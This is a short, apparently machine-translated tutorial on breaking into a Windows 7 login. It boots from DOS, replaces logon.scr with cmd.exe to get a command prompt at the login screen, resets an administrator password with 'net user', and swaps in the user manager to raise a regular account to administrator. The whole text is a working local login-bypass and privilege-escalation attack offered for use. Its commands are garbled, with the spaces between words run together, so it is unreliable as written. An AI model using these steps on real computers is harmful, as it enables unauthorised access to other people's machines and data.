Teach you how to crack Zhongguancun win7 system computer power-on login Password

　　 cracked win7 system power-on login password specific methods are as follows:

(1) First start the computer, and then use the DOS boot disk, such as: Windows98 boot disk, into a pure DOS state;

(2) Then, at the DOS prompt, follow the steps below to enter the following code:

CD (Switch to root directory)

Cdwindowssystem32 (Switch to system directory)

Mkdirtemphack (create temporary folder)

COPYLOGON.SCRTEMPHACKLOGON.SCR (Backup LOGON.SCR)

Copycmd.exetemphackcmd.exe (Backup cmd.exe)

DELLOGON.SCR (delete logon.scr)

RENAMECMD.EXELOGON.SCR (renaming cmd.exe to LOGON.SCR)

Exit (Exit)

(3) After the restart of the computer, in the login waiting for the screen to wait quietly, about 10 minutes, the system will automatically start the login screensaver program, but because LOGON.SCR has been replaced by Cmd.exe, so the system started Cmd.exe, entered the command line prompt state.

(4) Then use the command Netuserpassword to modify the password, assuming that there is a Super Administrator's account is admin, I would like to reset its password for admin, then you can use the command: Netuseradminadmin, enter after the password can be changed;

(5) If you want to enter the desktop system to look at the contents of the hard disk, you can again command prompt to enter the Explorer command to try, you will find a smooth access to the Windows desktop.

Tip: If you have a regular user account, you can use the method described above to change it into the administrator's account. Then back up the LOGON.SCR and Usermgr.exe, the second step of the Cmd.exe all replaced by Usermgr.exe, restart the computer, wait a moment, then will find that there is not a command line prompt, but User Manager, then we have the right to add themselves to the group of administrators.